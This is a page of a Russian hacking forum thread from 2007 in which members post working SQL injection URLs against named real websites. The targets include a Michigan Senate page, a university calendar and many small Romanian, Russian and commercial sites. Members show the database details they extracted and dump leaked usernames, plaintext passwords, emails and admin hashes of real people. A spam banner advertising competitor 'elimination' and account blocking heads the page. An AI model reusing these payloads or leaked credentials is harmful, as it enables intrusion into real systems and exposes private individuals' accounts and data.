УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 385 из 1242

385

Опции темы

Поиск в этой теме

Опции просмотра

#3841

25.11.2007, 22:02

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

Провел на форуме:
6905523

Репутация: 1174

Сенат
www.senate.michigan.gov

Код:

http://www.senate.michigan.gov/whitmer/transcript.php?id=1'+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),user(),database()),8,9,10,11,12/*

5.0.37-community-nt:demdba@localhost:caucusweb
Дальше всем известный сценарий.

#3842

25.11.2007, 22:47

Fata1ex

Постоянный

Регистрация: 12.12.2006

Сообщений: 906

Провел на форуме:
4205500

Репутация: 930

Код:

http://www.clarionrus.ru/news.php?id=-51+union+select+1,2,3,concat_ws(char(58),user(),version(),database()),5,6/*

clarionrus@localhost:4.1.20-lk-log:clarionrus

Код:

http://www.comingsoon.net/films.php?id=-8437+union+select+1/*

comingso_nextra@csnet-node1-internal:4.1.22:comingso_nextra

Код:

http://www.linspire.com/lindows_news_pressreleases_archives.php?id=-213+union+select+concat_ws(char(58),user(),version()),2/*

linspire@10.0.0.20:4.0.24-standard-log

Может кто разберется и раскрутит:

Код:

http://www.mtas.ru/second.php?ID=-13+union+select+1/*

Код:

http://www.planeta.tc/content.php?id=81+union+select+1,2,3,4,5,6,7,8,9,10,11/*

#3843

25.11.2007, 23:13

Nea7

Участник форума

Регистрация: 08.09.2007

Сообщений: 211

Провел на форуме:
5076186

Репутация: 778

Код:

http://[host]/searchresult.php?sbcat_id=999999[sql-inj]

Код:

http://www.mytarif.com/searchresult.php?sbcat_id=11111111+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*

4.1.22-standard:anime_yemek@localhost:anime_yemek

Код:

http://www.garnek.net/searchresult.php?sbcat_id=11111111+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*

4.1.22-log:byq_9@ama127.rev.netart.pl:byq_9

Код:

http://www.kochfeuer.de/searchresult.php?sbcat_id=9999999+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*

5.0.32-Debian_7etch1~bpo.1-log:dbu1017245@localhost:db1017245-kochfeuer1

Код:

http://www.coolave.com/resources/searchresult.php?sbcat_id=99999+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4/*

5.0.37-standard-log:avemusic_h742510@localhost:avemusic_coolave

Код:

http://www.arabhorse.com/links/searchresult.php?sbcat_id=1111+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4/*

4.1.22-standard:arabhors_ah@localhost:arabhors_arabhorsed b

Код:

http://www.desikitchen.com/new/searchresult.php?sbcat_id=11111111+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*

4.1.22-standard:desikit_desikit2@localhost:desikit_portal 2

Код:

http://www.bobsbeerandbbq.com/searchresult.php?sbcat_id=11111111+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*

5.0.27-standard-log:claudia_recipe@localhost:claudia_recipe

Код:

http://www.dubina.com/searchresult.php?pg=5&sbcat_id=9999+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5/*

4.1.22-standard-log:dubinaco_dubdir@localhost:dubinaco_dir1

Код:

http://www.grizzlynut.co.nz/directory/searchresult.php?&sbcat_id=99999999+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4/*

4.1.22-standard-log:grizzlyn_direct@localhost:grizzlyn_direct

#3844

25.11.2007, 23:29

K1nD[e]R

Участник форума

Регистрация: 16.06.2007

Сообщений: 133

Провел на форуме:
1877761

Репутация: 237

Отправить сообщение для K1nD[e]R с помощью ICQ

Код:

http://www.realityhomes.com.do/cat.php?id=999+union+select+1,2,3,concat_ws(0x2F,user,pass,mail),5,6,7,8,9,10,11+from+usuarios/*

Version: 5.0.27-standard/nachon_sistema@localhost/nachon_sistema

Админы и юзвери

User Pass Mail

nachon/viejito/maneylandia@hotmail.com
guitarman/123456/luigisalas@hotmail.com
yospower/power/yospower1@yahoo.com
tribi32/triby0/yorbis11@hotmail.com
F./5v5ml5g5v5/vitico54@hotmail.com
teodoro/toly2468/ics_teodoro@hotmail.com
joriel/0230/joriel@netzeo.net
nmcprl/Carlanatalia/ncastillo@tricom.com.do
herrerap/222008/herrerap@realityhomes.com.do
Carlos/crpf13/crpfga@yahoo.es
mamto/8808607/mamto@realityhomes.com.do
Jissel/filipe/Jissel4@aol.com
otto/77688166601/ottocespedes@hotmail.com
dj-luis/987654321/lincon817@aol.com
elisa/espimai/liz_007_vip@hotmail.com

#3845

26.11.2007, 00:05

AFoST

Members of Antichat - Level 5

Регистрация: 28.05.2007

Сообщений: 729

Провел на форуме:
5571194

Репутация: 1934

Отправить сообщение для AFoST с помощью ICQ

Группа Центр

Дата рождения: 2004 год
Место рождения: г. Москва

Краткое досье: это одно из самых сильных звеньев СПРУТ групп, который является Единственным Союзом по-настоящему разносторонних уличных талантов. «Центр» является основой этого объединения, принимая непосредственное участие в концертной и творческой деятельности проекта.
Группа «Центр» объединяет самых перспективных и интересных рэп-исполнителей на данный момент: Гуфа aka Rolex-X, Slim’а aka Slimus, Птаху и Принципа. И если первый – гений текстов и крылатых фраз, второй профессионал от музыки, то последние два – отлично читают, преподнося наработанный материал наилучшим образом.

PHP код:


		
			
http://www.centrgroup.ru/nn.php?id=-1+union+select+1,2,3,4,5,concat(id,0x20,user_name,0x3a,user_pass),7+from+users+where+id=1/*

и ещё чета

PHP код:


		
			
http://www.gala-europe.de/ps.php?ID=-1'+union+select+table_name,2+from+information_schema.tables/*

Последний раз редактировалось AFoST; 26.11.2007 в 00:54..

#3846

26.11.2007, 01:35

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

Провел на форуме:
7215020

Репутация: 1423

rmx.ru

http://www.rmx.ru/photo/?id=-1+or+1=@@version--

Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on
Windows NT 5.2 (Build 3790: Service Pack 1)

http://www.rmx.ru/photo/?id=-1+or+1=(select+db_name())-- remix

http://www.rmx.ru/photo/?id=-1+or+1=(select+system_user)-- REMIXUS\IUSR_REMIXUS

------------------------------------------------------------------------

e-rostov.ru

http://www.e-rostov.ru/nws_podrob.php?nws=-1+union+select+1,2,3,4,5,concat_ws(0x2F,version(), database(),user()),7,8,9/*

5.0.27/db0662111/db0662111@localhost

http://www.e-rostov.ru/nws_podrob.php?nws=-1+union+select+1,2,3,4,5,concat_ws(0x2F,cast(al_lo gin+as+binary),cast(al_password+as+binary)),7,8,9+ from+admin_list+limit+0,1/*

логин/хеш
artexoid/81dc9bdb52d04dc20036dbd8313ed055

Другие интересные таблицы:

board_admin (LOGIN/ PASSWD), estate_admin(LOGIN/ PASSWD), estate_loginag(LOGIN / PASSWORD), news_admin(LOGIN/ PASSWD), question_admin(LOGIN/ PASSWD), stat_admin(LOGIN/ PASSWD), stic_admin(LOGIN/ PASSWD)

#3847

26.11.2007, 03:02

1NtR0

Участник форума

Регистрация: 14.04.2007

Сообщений: 197

Провел на форуме:
1122391

Репутация: 209

http://utdallas.edu/calendar/event.php?id=-1+UNION+SELECT+1,database(),version(),user(),5,6,7 ,8,9,10,11,12,13/*

user() == webdev_anon@www1.utdallas.edu
database() == calendar
version() == 4.0.18-max-log

#3848

26.11.2007, 12:45

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Отправить сообщение для fRg с помощью ICQ

И вновь - Румыния!

burseguvern.ro

Код:

http://www.burseguvern.ro/articole/articol.php?id=2&id_modul=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5/*

4.1.22-standard-log:burseguv_burse:burseguv_adm@localhost

ugir1903.ro

Код:

http://www.ugir1903.ro/ugir1903/articol.php?codp=-1+union+select+concat_ws(0x3a,version(),database(),user())/*

4.1.22-standard-log:ugir1903_main:ugir1903_web@localhost

dreptonline.ro

Код:

http://www.dreptonline.ro/articole/articol.php?id_articol=-1+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8,9/*

4.1.22-standard:dreptonl_dr:dreptonl_dr@localhost

В табе useri 12 692 юзера :

Код:

http://www.dreptonline.ro/articole/articol.php?id_articol=-1+union+select+concat_ws(0x3a,user,parola,email),2,3,4,5,6,7,8,9+from+useri+limit+12691,1/*

Немного данных [user : pass : email] :

Код:

Dan:gringotts:popeangad@yahoo.com
Hfirimain:gringotts:popeanga@dreptonline.ro - типа Админ
auras1:ferari11:auras@rol.ro
florian.r:dreptcivil:florian.r@xyz.ro

#3849

26.11.2007, 14:36

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Румыния

SmartCall.ro

Код:

http://www.smartcall.ro/document.php?doc=-1+union+select+1,2,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),4,5,6,7,8,9/*

5.0.18:smartcall:smartcall@localhost

Наша таба auth_users:

Код:

id,username,email,password_md5,конецформыначалоформыis_superuser,first_name,last_name

Данные:

Код:

http://www.smartcall.ro/document.php?doc=-1+union+select+1,2,concat_ws(0x3a,aes_decrypt(aes_encrypt(username,0x71),0x71),aes_decrypt(aes_encrypt(password_md5,0x71),0x71)),4,5,6,7,8,9+from+test.auth_users+limit+0,1/*

Админ:

Код:

dima:ebb934cccce0cbe48e5b017398807a46

AMIcom.ro

Код:

http://www.amicom.ro/studii/studiu.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5/*

5.0.27:amicom:amicomadmin@localhost

Таба users:

Код:

username,userpass

Админка стандартно - _http://www.amicom.ro/admin/

Админ:

Код:

admin : admin123

#3850

26.11.2007, 15:40

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Румыния

ReporterDeOcazie.ro

Код:

http://www.reporterdeocazie.ro/index.php?page=intrebarea_zilei&id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5/*

5.0.21:reporterdeocazie:reporter@localhost

Наши таблицы - Admin,Useri и phpbb_users

Таблица Admin - пустая, с остальными проблем нет:

Код:

http://www.reporterdeocazie.ro/index.php?page=intrebarea_zilei&id=-1+union+select+1,concat_ws(0x3a,User,Password,Email),3,4,5+from+Useri+limit+0,1/*

Страница 385 из 1242

385

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход